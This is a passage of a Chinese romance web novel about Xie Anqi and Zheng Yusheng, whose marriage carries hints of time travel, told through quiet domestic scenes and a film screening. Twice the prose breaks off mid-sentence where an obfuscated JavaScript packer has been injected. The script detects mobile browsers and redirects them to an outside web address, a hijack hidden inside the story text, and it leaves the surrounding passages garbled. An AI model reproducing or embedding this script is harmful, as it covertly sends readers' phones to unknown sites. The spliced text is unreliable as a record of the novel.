她睁开眼,眼前是一片清亮的舷窗玻璃和舱内过白的灯光,谢安琪下意识看向身边,郑禹胜坐在她右手边,正拿起机舱配发的水杯在喝,看到她醒来,转头对她轻轻一笑。 “你睡得还挺沉。”他说。 她没有立刻回应,只是盯着他那张明显比屋塔房夜晚成熟得多的脸,眉骨更高了,鼻梁轮廓更清晰,声音也沉了不少,不是她昨夜见到的那个郑禹胜,她的喉头一阵干涩,像被什么轻轻勒了一下。 “我们……已经在飞机上了?”她低声问。 “对啊,回首尔啊。你不是说在济州实习最后一天想睡一觉?”他侧头看她,眼神里没有怀疑,只有柔和,“你脸色不太好,晕机了?” 谢安琪慢慢点头,心跳却比任何一次跳跃都要猛烈,她转开脸,看向窗外。云层被切割得整整齐齐,金色日光像刀刃从下方划上来,将天与地的界限彻底划开,谢安琪知道,自己又回来了。这一次像合上了一本无声的剧本,梦和现实被缝合进她掌心里,谢安琪没告诉他。没有说她曾站在便利店雨棚下等他说出那句我记得,没有提他们曾同眠在屋塔房地板,甚至没有提那次烛光下的告白,谢安琪只是轻轻地深呼吸,然后笑了一下。 “时间还早吗?”谢安琪问。 “快降落了。”他说,“下了飞机就去吃你想喝的海鲜汤。” “嗯。” “你确定你没生病吗?怎么突然这么乖?” 谢安琪扯了扯嘴角:“只是有点想家了。” 郑禹胜伸手揉了揉她的头发:“你真奇怪,明明在我旁边,还说想家。” 她轻声说:“可能是我太容易对某个时刻动心了吧。” 首尔的十月,天亮得比夏天慢一点,街道在清晨六点时仍包着一层薄薄的雾气。谢安琪醒来时,卧室里窗帘半掩,淡灰色的天光洒在落地窗旁的地板上,像一张揉皱的宣纸。她睁开眼那一刻,仍有一瞬不确定,她还在屋塔房,还是已经回到了2018年。 直到谢安琪听见厨房传来咖啡机的声音,还有玻璃杯叮当一响,那是郑禹胜在操作的节奏。他总是先放杯,再倒水,动作快而不慌,像在布景。她没有马上起身,只在柔软的灰色棉被里,静静听着这熟悉的生活音。她知道,她已经回来,但她也知道,她没必要再问他,是不是还记得自己。 浴室传出水声,是郑禹胜冲洗完后的动静。他一向节制,不拖沓,从不在镜前逗留太久。谢安琪披了件米白色针织衫走进厨房时,咖啡已经煮好,他正在烤面包。 “醒了?”他转头,声音还有些低哑,“要蜂蜜还是咸奶油?” “蜂蜜。”她回答时眼神轻轻扫过他臂膀上的肌肉线条。郑禹胜穿着简单的白T和灰色运动长裤,头发未完全吹干,水滴沿着发梢滑进锁骨。他没有察觉她的目光,只把烤好的吐司切成两半,装进盘子。 “今天几点去公司?” “九点要进剪辑室。” “中午我不在,晚上回来一起吃?” “好。”她顿了顿,“我下班会顺路去买点菜。” 这就是他们的现在,他们一起生活,却不试图去拆解彼此心里的那段时间的缝,这套公寓在瑞草,靠近汉江边,光线好,楼层高,谢安琪住回来的那晚,郑禹胜只是说:“学校宿舍房间小,还是回家住吧。” 谢安琪没有反驳,他说得对,她喜欢现在的清晨,有光、有植物、有呼吸感。一株长得过头的琴叶榕倚在阳台门边,阳光从叶脉间透下来,斑驳投在木地板上。餐桌上是他特意给她留出的工作角,一块樱桃木色的长桌,上面放着她常用的笔记本、相机、采音设备,还有一叠剪辑纸样。 两人没有协议、没有划分生活空间的规则,但她知道,他默默替她布置了在这里留下来的所有可能,他们不常在公司碰面。 KCpany公司里的大项目还是轮不到谢安琪,但谢安琪刚完成济州岛拍摄,应公司要求她要转入后期剪辑线。郑禹胜是签约演员也是老板,忙于下半年剧组拍摄,已经拿到下一部作品的主演邀约。 谢安琪没问那部剧的具体内容,只是某天在茶水间看到女职员们传阅一份印刷精美的项目通告,隐约瞥见青春爱情、初恋复刻这样的字样。谢安琪知道自己大可以问他是不是演男主,或者调侃一句演初恋你年纪还行吧? 但谢安琪没问,毕竟在在这群人面前,谢安琪还是不打算说这些,她只是微笑着拿起水杯,转身离开。在这个时间点,她不想再去碰那些可验证的部分。因为他回家的方式、看她的眼神、洗衣服时顺手叠好她的衬衫,早已比任何台词都更真实。 有一晚,她在他不在家的时候打开过他的工作抽屉,不是要偷窥,只是找订书机的时候不小心看到一张纸条,那是一张旧便签,纸角已经卷起,上面是郑禹胜写的:“如果有一天你记得我,那就别说出口。” 她怔了很久,不知道这张纸条写的东西是不是代表着什么,也许是他偷偷写的,但谢安琪没问。她把便签收回原处,继续找订书机,像什么也没发生。她逐渐适应了这里的节奏。 早上七点半醒来,郑禹胜通常已不在。剧组拍摄从未规律,有时凌晨开机,有时夜戏通宵,但他总会在冰箱贴上便利贴:“剩饭热三分钟。今天我会早点回来,你别忘了吃。” 字迹潦草却固定笔锋,像是他不愿让任何日常脱轨。她有时候会在他贴的便利贴背后回写:“我昨晚剪片到两点,你今天别吃泡面。” 他们之间的书信系统藏在冰箱、镜柜与橱柜门内,没有甜言蜜语,也不谈情绪起伏。但文字彼此对望的方式,比说出口更柔软。 …… 那天是周四,谢安琪请了半天假,在家整理下一阶段剪辑脚本阳光很好,她打开客厅窗,把阳台拖了一遍,然后在桌边坐下泡茶。手机响了,是一通快递通知。 “郑禹胜,KCpany签收文件。” 她披了件长外套去楼下,快递员说:“文件写的是拍摄用服资料和场记本,剧组寄的。” 谢安琪点头,接过,走进电梯的那一刻,她的手指却滑过封套上一个角落的备注:“角色参考笔记,郑禹胜饰男主。” 她顿了一下,电梯门合上,她站在镜面前,静静盯着那串词语看了很久,回家后,她把文件放在他房间的书桌上,没有打开,她不是不在意,只是学会了不去靠近会刺人的棱角。谢安琪点开笔记本继续剪辑工作,画面中是某个男孩在街头跑步的镜头,摄影晃动,光线自然,情绪隐含。 忽然,她想到在屋塔房那段时间,郑禹胜也这样被拍过,一场被风追着跑的镜头,他没回头,汗水顺着颈侧滑进衣领,她清楚地记得那场光是侧逆光,地面湿透,呼吸和镜头同步,而现在,坐在她面前这块荧幕里的人却是另一个演员,是他又好像不是他。她深吸一口气,按下了暂停。那种明明还活着,却只能从别人的镜头里回忆他的感觉,让人有些难以承受。 晚上他回来很晚,她听见玄关门开时,已经十点过半,他换鞋进来时笑了一下:“楼下便利店有新口味泡面,我带了两包。” “你还真执着。” “他们说是济州海带风味,我就买来试试。” 谢安琪点头:“厨房你收拾。” “行,等我洗个脸。” 他走进浴室,她坐在高脚椅上,打开厨房灯,亮黄的光照在墙砖上,像某种熟悉的暖色,他出来时,头发还湿着,穿着宽松家居服,把泡面放进锅里,加了青菜和蛋。 “你不累?” “习惯了。”他回头看她一眼,“你今天在家?” “下午请假。” “怎么不出去?” “阳光太好,舍不得离开屋里。” 这话她说得很轻,却带着一种深刻的归属感,泡面煮好后,两人端着碗坐在阳台边。 她说:“今天楼下送来你剧组的文件。” “你看了吗?” “没。怕自己多想。” 他顿了一下,然后笑:“你现在学会回避了。” “是你教的。” “我没那么成熟。” “但你现在这样很好。” 他看着她:“你是不是越来越不像你自己了?” “什么叫我自己?” “你以前会一直问。” 谢安琪轻声说:“但我后来明白了,你如果真的记得,你一定会在我不问的时候,自己说。” 郑禹胜没回答,只是慢慢把手伸过来,握住她的指尖,月光照在两人掌心的接触点上,像是一种无声的誓言。那天夜里,谢安琪睡得很浅,不是因为梦,而是因为一通电话。 凌晨两点零三分,郑禹胜在隔壁卧室打来。她接起时,声音还带着些沙哑:“出什么事了?” 那头静了一秒,然后是他低低的嗓音,像是梦游或者梦话一样:“你还记得那场雨吗?” 她怔住,郑禹胜没有进一步说明是哪一场雨,也没有解释是哪年、哪天,只是安静地问了那一句,她的心跳慢慢提上来,像是身体先于大脑接收了某种信号。 她沉默了许久,只问:“你现在还清醒吗?” “当然。” “你打这通电话,是因为那场雨下会在今天吗?” 郑禹胜轻轻笑了一声:“不,是下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686723|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在我梦里。” 她没有接话。两人隔着电话保持了将近二十秒的沉默,郑禹胜最后说:“我快到了。你门别反锁。” “好。” 电话挂断后,她握着手机坐在床上许久没动,郑禹胜没有说我梦到你,也没有说我梦到过去,他只是挑了一个没有时间坐标的句子,把她拉进一个模糊边界里。谢安琪知道他是故意的。 他知道她在等一句我记得,她也知道他不会说。他们像两条并行线,在月色里擦肩、靠近,但谁都不敢偏离轨道,因为一旦有一方明确了方向,整个结构可能会塌。 …… 郑禹胜开门出来时,谢安琪已经换了件外套,坐在沙发边等他,他没开灯,只在套了件套头的睡衣,走过来时带着一身困意,“你怎么不睡?” “我在等你。” “我刚才……就是……” 谢安琪没笑,只给他倒了杯温水:“你先喝。” 郑禹胜接过来,坐下:“你今天看起来有点不一样。” “怎么?” “像是从什么远的地方刚回来。” 她低头:“你总是说些听起来像台词的话。” “我确实拍了一整天,连着梦里也像在梦里一样。” “你在演我吗?” 郑禹胜偏头看她:“不是,我只是太了解你了。” 谢安琪本该就此转移话题,可不知为何,那一刻她忽然问出一句自己也不曾预设的问题:“你有没有想过,如果我们现在的生活,是以前某个时刻的延伸?” 郑禹胜没回答,他只是看着她,像是在等待她先定义以前是什么,她也没有继续,而是笑了笑,自顾自地说:“算了,你也不会给我答案。” 他把水杯放下,说:“你问这些,是不是在等我先提过去?” “不是。” “那是等我不小心露馅?” “也不是。” “那你为什么问?” “因为……我今天特别想确认,我们现在的生活是真的。” 他们沉默地坐了一会儿,沙发一隅的落地灯亮着,昏黄灯罩像是守住这场对话边界的帷幕,郑禹胜慢慢开口:“那我以后只做一件事。” “什么?” “每天都让你确定一次:我们现在是真的。” “你说话越来越像广告词。” “那你答应我一件事。” 她不肯再继续说着刚才的话题。 “说。”郑禹胜笑着。 “哪怕有一天你真的不记得了,也不要怀疑,我有把你放在生活里。”谢安琪没回答,只是往沙发那边靠了靠,轻轻靠住他的肩。 翌日清晨,下了小雨。窗外灰蓝,云层压得低低的,偶尔一滴雨砸在窗沿上,声音轻却清晰。谢安琪醒得比郑禹胜早,披了件毛衣,赤脚走到落地窗边。城市还在沉睡,高楼在雾气中沉默无声。她手握着咖啡杯,站在窗前发了会儿呆。 她忽然想到,这种生活并不华丽,也没有任何决定性的节点。但正因如此,才让人愿意反复走进来,厨房的灯亮起来时,她听到他走出来,低声问:“你不冷?” “下雨了。” “今天你不用出门?” “剪辑室约的是下午。” 他在她背后停下,看她的目光落在远处一栋旧楼的天台上。 “你在看什么?” “那栋楼好像也有个屋塔房。” “你想回去?” 她摇头:“不是想回,是觉得我们好像从来没离开过。” 郑禹胜没说话,只伸手搭上谢安琪的肩。 “我以为你最怕下雨天。但现在觉得,还挺喜欢。” 两人一起坐在窗前那张靠窗的长沙发上,听雨滴敲窗,看风掀动阳台植物的枝叶,没有特别的对话,也没有计划接下来的生活,郑禹胜伸手拿过她腿上的薄毯,小心地帮她盖好。 “你太安静的时候,我会担心。” “我只是不想破坏现在的声音。” “什么声音?” “你在我旁边翻书的声音,雨滴落在窗框上的声音,还有,我心跳慢下来以后不太容易被听见的声音。” 郑禹胜说:“那我记住这些。” 谢安琪轻轻一笑:“不需要你记。” 午后时光,他们窝在客厅看了一部老片子。 一部讲穿越的电影,男主从未来回到过去,却在关键时刻决定不告诉对方自己来自未来。郑禹胜看到一半,忽然转头看她:“你觉得他为什么不说?” 谢安琪没有回头,只轻声说:“有时候不说,比说出来更有意义。” “因为害怕改变?” “不是。” “那是因为……” “因为有些爱,就是想陪着,不是想证明。” 郑禹胜没有再问,他只是默默把她的手握得更紧了一点。夜里雨停了,月亮在云后亮出一个缺口。卧室的灯已经关上,屋里只剩窗帘透进来的淡光,像涂了一层沉静的水墨。谢安琪靠在他怀里,耳边是他的心跳声。她睁着眼,却没有想任何问题。她不再追问未来,不再试图拼凑他是否知道什么。 因为她已经确认,哪怕穿越再多次,也始终会在某一条线的尽头,看见他为她亮一盏灯,铺好床角,留下一杯水。 她轻声说:“晚安。” 他低头亲了亲她的发顶:“如果有一天你穿越了回来,我会跟你说欢迎回来。” 31.第31章 早晚温差明显,谢安琪一连几天早起时都打了喷嚏,注意到这个的郑禹胜早上离开前,便在玄关衣架上挂了一件薄风衣,用便签写着【下楼记得穿这个】,字迹不算清楚,但有一种刻意写慢的痕迹。他刚接下K频道的一部新剧,是台前幕后都投注极高资源的都市爱情剧,导演是十年前的青龙奖影后出道之作执导人,而剧本则是改编自畅销小说,拍摄周期预计五个月,跨城市、跨季度。 也就是说,从现在开始,他们将逐渐习惯分别,而不是生活重叠。第一次为出组做准备那天,郑禹胜带回一个登机箱。谢安琪一边洗碗一边听到他在客厅来回走动,把睡衣、台词本、旅行用洗漱袋、电子书阅读器,还有几张散落的便利贴一张张折好,放进夹层。 她忍不住从厨房探出头:“你干嘛不直接丢进去?” “我怕找不到。” “你以前挺乱来着。” “是啊。”他顿了一下,“可我怕你替我翻行李的时候看不到。” 谢安琪没有说话。只是把手从围裙里抽出来,悄悄擦干,走过去接过他还没装的文件夹,帮他分层夹好。动作熟练得像是早已练过许多次。那晚他睡得比她早。谢安琪一个人坐在书桌边整理KCL新一季度项目安排表,偶尔看看他的背影。他侧卧,背对着她,肩膀曲出一小段温顺的弧度,被子裹得高高的,呼吸深长。她关掉台灯,房间陷入半暗。走过去时,她看见他的手还露在被子外,五指微微握着一张便签纸,纸边翘起。她蹲下身,慢慢抽出那张纸,是他写的,字体一贯粗放:“别让我太久见不到你。” 她没有折回去,只是轻轻把那张纸放进自己的日记本里,合上。没有留字条回应。因为她已经在留着这个人了。 他离开的第一天是清晨七点。天还没亮,客厅里只亮一盏小壁灯,像随时会熄灭的夜航灯。郑禹胜站在门口,扣最后一个扣子:“我不确定几点回来,拍外景完直接飞蔚山。” “好。”她靠在厨房门边,披着毛衣。 “那你今天几点下班?” “和剪辑组讨论音轨,可能晚点。” “晚上不回来吗?” “回来。” 他点头,像是确认某种答应。谢安琪朝他走了两步,帮他把围巾整理好,轻轻拍了拍他的衣领。两人没有亲吻。只是一句轻声的路上小心。 但那一刻,谢安琪在心里默默标记:这是他们生活逐渐分岔的第一天。他离开后,她没有急着去公司。坐在沙发边喝了半杯咖啡,打电话取消了早上的剪辑会议。她说自己状态不佳,要在家远程处理。其实并非真正不适,只是想要让这间屋子还维持他在的样子多留一会儿。 阳光穿过客厅落地窗,照在地毯边缘一张他落下的便利贴上,那张她没看过的:“如果你有一天看到我在剧里笑得太假,那就别相信我是真的开心。” 谢安琪把那张纸收起来,没有折。然后继续收拾台面,顺手打开笔记本,看了下邮箱里一封前两天错过的邮件:“大学路电影周展映票已定,请在本周六前取票。” 看到这,她心跳漏了一拍。那是谢安琪曾在1992年第一次看到他的地方。只是现在,是2018年。大学路的秋天很适合走路。风吹下来时,夹着一点银杏叶的气味,还有石墙缝里某家剧团门口飘出的布景木香。 谢安琪下午五点出发,到达影院时天刚暗,门口排队的人已经拐了个弯。那是一家老旧的独立电影厅,楼梯是斜着通往地下的,走廊上挂满了早年韩国电影的宣传海报,纸边泛黄,角落卷起。她排在队尾,身后是一对牵着手的情侣。 男生说:“你以前好像给我讲过这部片子。” 女生回答:“没有吧?是你自己看过忘了。” “那我梦到过?” “你梦到我?” 她听着那一段对话,忽然觉得像是在听一场反向的回忆。而她站在其中,却无法判断自己到底是不是原版的观众。电影厅不大,红色绒布椅子旧得有些松动,幕布也略微发黄。谢安琪选了靠后的位置,一入场就感到熟悉。她记得这种熟悉不是来自2018年,而是更久远的某一年。那年她也曾坐在某个电影院的后排,看见银幕里那个还没成名、刚刚试镜出道的年轻人站在台前,低头鞠躬,镜头光圈一闪,是郑禹胜。那时他只说了一句话:“感谢大家记得我。” 而现在,灯光还没暗下,电影未开场,周围喧哗的人群里,她却无法再确定,那句感谢大家记得我是真实说过的,还是只出现在她脑海的某段梦影里。电影开场。是部2002年的作品,导演也不怎么拍摄了,演员大多也未再出名。画质泛黄,台词缓慢,镜头晃动。但就在第十三分钟,一个镜头切到站在人群后的青年,眼神锐利,侧脸冷峻。她心跳慢了半拍。那是他。 年轻的郑禹胜,或者说,那个她在1992年真正第一次见过的他。他没有台词,只是短暂出现在街头新闻镜头的背景里,背着一把琴,撑着伞。那一秒像是某种暗号。她坐在影院的黑暗角落,眼眶忽然湿了。她不是因为想他,而是因为忽然无法判断自己是不是也曾站在那个街头,见过这一幕。 电影散场时,观众陆续离场。她坐到最后一个人,工作人员提醒她要清场时,她才回过神。 走出电影厅,外头小雨刚落。她撑伞沿着大学路往回走,脚步轻得像是怕惊扰了什么。街头的霓虹灯在水洼中倒映出模糊轮廓,她忽然意识到,她从未问过郑禹胜,他是否也有印象曾在某个展映电影里看见自己。她甚至不知道,那场街头背景的镜头,他有没有记得。但也许,就像她今晚一样,他也曾独自在某场黑暗中,看见了自己未说出口的前尘。 回到家已过九点,屋内空无一人。桌上是谢安琪早上留的杯子、杂志和他的便签:“明天中午回来。别太晚睡。” 她没开灯,只走到卧室把磁带播放器放进抽屉,抽出那卷新买的电影磁带。是今天展映电影的复刻版,她特意向放映厅购买。 她轻轻握着那卷带子,像是握着一份无凭的证据。不是要证明什么。只是想确认,她所经历的这一切,并不是梦里空转的时间。它曾存在。也许仍在被某个人,安静地记着。 夜里十一点半,门锁轻响。她没惊讶,他常这样悄无声息地回来。郑禹胜脱下外套时看见客厅未关的落地灯,还有她窝在沙发上披着毯子,脚边放着一盘磁带。 “你还没睡?” “刚回来。” 郑禹胜把钥匙放在玄关抽屉上,走进厨房倒水,一边问:“今天电影好看吗?” 谢安琪点点头,又摇摇头。 “怎么?” “电影还好,但观众情绪太满了。” “你不是最擅长忍情绪的那种。” “这次不是情绪,算是回忆。” 郑禹胜没再追问,只走过来坐到她身边,看了看那盘磁带。 “你带回来的?” “嗯,今天展映结束后顺便买的复刻盘。” “可以放来看看吗?” 她没说话,只把磁带插入播放器。画面启动的瞬间,客厅陷入一种复古的静音。雪花点在幕布上跳动几下,随后切出一个昏黄的街头镜头。她没说,这就是刚才让她在影院几乎落泪的片段。郑禹胜看着屏幕,没有出声。画面中,他年轻的自己穿着棕色风衣,背着琴包,在新闻采访边缘一闪而过,只有短短两秒。 “你还记得这个画面吗?”她轻声问。 他点头:“记得。那是我人生第一次被镜头记录。” “你知道我以前看过这个镜头吗?” “你是说以前?” 谢安琪顿了顿,改口:“我以为我做梦见过。” 郑禹胜笑了:“你梦境还挺挑场景的。” “你不觉得这段画面……很像某种信号?” “像你提前到现场看我第一次出镜?” “你这样说,我反而不知道该不该承认。” 他们就这样坐着,看完整部短片。结束时,字幕滚动而下,灯没有开,窗帘外的城市微光投进来,在木地板上落下一片细碎斑驳。他慢慢转头看她:“你是不是总在找某种痕迹?” 她摇头:“其实我早就知道,找不到了。” “那你还看这些?” “因为……我想确认我们两个人的人生,自始至终是缝在一起的。” 郑禹胜轻轻呼出一口气。 “你想得太复杂了。” “嗯?” “你不需要确认,因为你离开过。” 谢安琪怔了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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郑禹胜笑着弯腰脱鞋:“我也觉得。” 厨房里蒸汽升起时,他坐在高脚椅上看她切菜,不时递给她汤勺或锅盖。两人没有太多对话,但气氛是柔软的。他们已经走进了那个状态,不需要不断确认的亲密。午饭后,她坐在阳台看新项目的招募通知。 “大学路纪录短片展征集本地导演作品”。 她心动了片刻,却没有马上报名。郑禹胜从厨房出来,看她盯着页面发呆。 “想参加?” “有点犹豫。” “为什么?” “怕提案太私人。” “不是每个导演都得经历一次交出自己的过程吗?” “我怕我交出的是别人不理解的版本。” “那你就拍给那个理解你的人看。” 她看着他,微微一笑。 “你打算做我人生的观众?” “我是你这条线里最早上线的那一个。” 下午阳光落进屋内,照在木地板上,像不动声色的片场灯。谢安琪拿起便携摄影机,拍下郑禹胜坐在沙发上翻书的一瞬。镜头拉近,他回头看她:“偷拍?” “记录。” “那你要不要也拍自己?” 她笑着把镜头对向落地镜:“我拍我们。” “我们?” “在同一帧里的我们。” 他没有再说话,只向镜头伸手,像是要把她拉入画面。那一秒,他们确实站在同一格画布里,光线吻合,情绪同步。傍晚,她在厨房洗碗,郑禹胜在背景里背台词。他念到一句:“如果你走过来,我就不说出口了。” 她放下碗,问:“这句什么意思?” “剧里的台词。” “是哪个角色说的?” “是我。” 她顿了一下:“那你现实里呢?” “我说过很多次欢迎回来,但你可能都不记得。” 她抬头看他。他站在门边,光落在他额头上,像是从过往投来的影子。她轻声回答:“记得。” “哪一句?” “所有说出口的,还有没说出口的。” 32.第32章 谢安琪醒来的时候,屋顶上的光像融化的牛奶那样流进来,照在窗帘上,照在她的额角。 她睁开眼的那一刻,还没从梦里挣脱出来。 梦境很不连贯,像把几段完全无关的记忆剪辑在一起。她站在一个老旧的公证处大厅里,穿着一件婚纱,裙摆太长像是借来的。四周都是陌生人,只有玻璃窗那头映着一张熟悉的侧脸,谢安琪分不清自己是看见了还是没看见,但她打心里觉得那个人是郑禹胜。 他站在大屏幕里,被投影出来,一动不动。然后,就有人叫她签字。谢安琪低头看着婚姻登记纸上自己的名字,那一刻心脏像是慢了一拍。有人在她耳边说:“所有人都以为我是毫无原因地接近你,但只有我知道你是我最绚烂的色彩。” 那句话好像是他说的,可梦里没人动嘴,谢安琪也不知道自己为什么哭了。 谢安琪一下子从梦里惊醒,被子还是温热,床边静悄悄的,室内带着一点木地板的干燥味,还有一小股郑禹胜留在这屋子的气息,分不清是皮衣的香味,又或者洗发水的尾调。 她看着天花板发了一会儿呆,才慢慢坐起身。脑子里却还是残留着那个梦,然后开始回顾起来现在的日子,日复一日清晨在心里确定一个事情,自己是真的嫁给了郑禹胜。不是梦,不是剧本,是现实。而且这桩婚姻是她自己签的。 但是事情回到现实的速度,比她醒来时还慢,谢安琪还记得第一次在KCL公司面试那天的事,那时候她还没意识到,自己在首尔生活的每一步都被某种微妙的偏移带着走。 她原本申请了NBS电视台的实习,那是文艺经营专业的首选项目。她甚至面试前一晚准备了四个小时的自我介绍,写了三页纸的结构分析,结果初筛都没过,她当时挺沮丧的,室友问她打算怎么办,她说随便找一家公司投投看,混学分。 然后她看到了KCL的招聘启事,“文创内容组实习生,要求文笔好,能适应基础剪辑任务,最好有影像处理经验。” 谢安琪没想太多就填了表,压根儿不知道KCL的“K”其实是带着郑禹胜的K,总是暗戳戳B-king的很。 直到那天下午面试结束,她走出会议室,在玄关口撞上了一个刚进电梯的郑禹胜。他戴着口罩,穿着那种剪裁极合身的黑色大衣,手插在风衣兜里,露出一截银色腕表。他眉骨很高,眼神带着惯有的疲惫和警觉,看谁都像在镜头后面看世界。 谢安琪没想到在这里见到他,不自觉被吓了一跳,本能地点头打招呼,然后解释自己是来面试的,但是不是为了他,又觉得这样解释更尴尬,最后郑禹胜听明白了,他看着她,语气没什么起伏:“你的意思是,我的公司只是你最后的选择?” 那句话说得云淡风轻,但谢安琪脑袋嗡了一下,差点没反应过来。 她连忙摆手:“不是……我原本申请了NBS,没进。就临时换了方向,没想到你们也……” “也在你临时选项里?” 谢安琪张了张嘴,没说出后半句,他已经从她身边走过去,手里还夹着一份文件。他的背影瘦削却挺拔,肩线修长,步子不快,却自带一种电影走位的感觉,她站在原地,耳根慢慢热起来,心里只剩下一个结论。 完了,这老板好像不太好哄。 只是谢安琪就觉得应该也没什么人会知道她跟郑禹胜结婚的事情,甚至她这个小实习生也不会有什么太多的关注。 但郑禹胜结婚的事情,公司里还是有人知道,因此议论这事的人不少,只是没人知道议论的对象就坐在三米外的那张办公桌边上。 “郑代表不是突然结婚了吗?” “听说是个年轻小姑娘,名字都没公开过。” “不会是家里要求他结婚的?毕竟他现在人气这么高,哪儿轮得到随便娶人啊。” 这些话谢安琪一开始也听过。她假装没听见,装得挺自然,甚至还能帮别人把饮水机的杯子接好递过去。 但那一瞬间她还是有点难受,或者说她有点唾弃自己的难受,那完全是毫无必要的情绪。 毕竟最初连谢安琪自己都觉得这场婚姻是假的,于郑禹胜是应付家里长辈的安排,或者他一时兴起的妥协,至于郑禹胜是不是存在着过去的记忆?谢安琪试探过几回,只是都没有答案,她也就不想再尝试了。 可谢安琪其实打心里希望不是假的。 去办理结婚申请那天郑禹胜穿得很正式,头发梳得一丝不乱,连衬衫扣都扣到最上一个。拿到登记表那刻,他坐在她身边,手里拿着黑色签字笔,一只手握住她的身份证,另一只手在纸上写他的名字。 签完字后,他看她一眼,问得很温和:“你确定吗?” 谢安琪点头:“你那边家里事情能解决吗?我就是觉得如果这样比较方便的话……” 郑禹胜没说话,只是把笔转到她手边,那一刻他看起来很平静,但她也不会注意到他手心的微微出汗。他表面上镇定,实则整个人都紧绷着,紧张得连呼吸都慢了半拍。 有些话郑禹胜没说出口,其实已经憋了很多年,他心里想的,是等了她二十几年,如今她终于站到自己面前了。她哪怕不记得从前,也没关系,所以郑禹胜也不敢真的和她去谈论这个事情,害怕她不记得,又害怕她记得不全,郑禹胜只觉得,她愿意跟他走进同一段时间线,那就已经够了。 谢安琪原本以为,闪婚之后,两人会像很多方便型婚姻那样,井水不犯河水,各自过各自的生活。 一开始的确如此,结婚登记后,她照常回学校上课,现在偶尔会去KCL公司递交作业、填实习资料。那时两人就算住在一起,也像两个因为手续挂钩、却彼此礼貌的小区邻居一样,一人一个屋子,但就是没有凑在一起见过。 但不知道从哪一天开始,谢安琪察觉他变了,是哪次电影发布会之后吧?那天她下课回家,打开电视看到他和几位演员坐在宣传座谈会上,说话仍是标准的冷静慢语调,轮到他发言时,他只轻描淡写地说:“最近准备休息一段时间。” 谢安琪怔了一下,她想到自己知道的事情,他不是刚接了一部新片吗?结果第二天,公司群里就传出消息,说郑代表推掉了两场重要饭局,还有导演组安排的内部聚会,连剧组后台的人都说:“他这两个月是不是在暗中谈什么大事?” 只有谢安琪知道,他最近的行程大多留在首尔,夜里常常回家得很早,有时候八点多就进门了,谢安琪也不懂他为什么要这样安排,但她也没问。只是在某个深夜,他洗完澡出来,穿着睡衣坐在客厅的地毯上,拿着笔在涂改剧本。 她从厨房走出来,问:“你今天不是有聚会?” “推了。” “为什么?” “太吵。” 他语气淡淡的,说得像是在回答“今天天气不太好”。 谢安琪没再追问,只默默回到书桌边改PPT,但心里却像被什么拨了一下,后来,她越来越习惯看见他的生活痕迹出现在屋子各处。 有时候是玄关上多出来的一把吉他,有时候是餐桌边他用过却没收的咖啡杯。 他不太讲话,也从不刻意制造夫妻感。 但谢安琪发现,那些日常堆积的小动作,像一层层温水,把她从婚姻的冷静中泡了出来。郑禹胜会问她明天几点回家,会在她下雨天忘带伞时顺路出现,会在她改完资料后拿着暖贴走进来,丢一句这个贴着再睡。 谢安琪知道这些都是细节,但细节从来不是无意,她开始小心地记住他那些微小的动作,甚至在日记本里写下几点一刻他坐在沙发上揉眉心,几分几秒他走到厨房倒水。 就像她害怕那些时刻真的只是过眼云烟,下一次他又会冷淡地消失在屏幕里,但没有。 他始终都在这个屋子里,像是用了二十几年的耐心,等一个终于会坐下来陪他吃饭的人。 有一次她忍不住在沙发上问他:“你是不是很在意别人说你结婚的各种原因?” 比如,有人以为他就是为了敷衍长辈,但郑禹胜没抬头,只把手里剧本翻了一页。 “你很在意?” “我……不是很在意。” 他笑了:“那你问我做什么?” 她沉默了好一会儿,才小声说:“我怕你也觉得我只是……临时找了个方向而已。”这句话一出口,谢安琪有些后悔。 可他只是把剧本合上,看着她,语气依旧温和,却透着一种钝钝的坚定,“如果我是为了应付家里,你以为我还会让你进KCL?” 谢安琪没答,但她的手心却突然有点热,更奇怪的是,郑禹胜从来没有试图打听她的过去。 她是怎么来的、在海外念书几年、之前的生活,他都没问过。有几次她故意放出一些线索,提起她小时候在南方长大的事,提起大学社团排练的影像项目,他都只是一边听,一边点头,偶尔露出一点非常浅的笑,然后像是刚知道一样,评价起来。 “你哭点很低。” “不是哭点低,是我小时候太投入。” “现在不也挺投入的。” 她本以为他会听到某个事情会问,那时候你读小学几年级之类的事情,但他什么都没问,仿佛郑禹胜早就知道答案,或者说他不需要知道答案。 谢安琪总是忽然有种错觉,就猜着他是不是……一直都知道她的故事,只是装作第一次听。 她没敢继续试探,只是低头喝了一口牛奶,嘴唇碰到杯沿时,她心里那股不确定,反而越来越清晰了。 再后来,他的应酬少得可怕,不是因为他不红,他现在很红,甚至红得有点超出她对明星这个词的想象,但他真的不怎么出门。 谢安琪有时候晚上赶作业,他就坐在客厅剪剧本,偶尔打电话,全程戴耳机,不打扰她。有次她走出阳台,看到他正站在窗边抽烟。那是她第一次见他抽烟。 “你抽烟?” “偶尔。” “你不怕被拍?” “算怕吧。” “那你还抽?” “你不在阳台,我就抽。” 谢安琪一时说不出话来,那天他抽了一半就灭了,把烟头丢进铁桶里,回身说,“以后你在家,我就不抽。” 他没说为了你,也没说怕你不喜欢,话总是不需要说的那么的满,但其实谢安琪听懂了。他们没有正式的纪念日,没有旅行,也没有那种社交网络上随时更新的情侣日常。但她知道,他为她改掉的东西,一样都不少。 KCL的同事说:“代表最近是不是在准备辞演明年的那个大IP剧?” “不会吧,那部剧他定得老早了。” “你看他最近都不出现了,私生活也特别干净。” 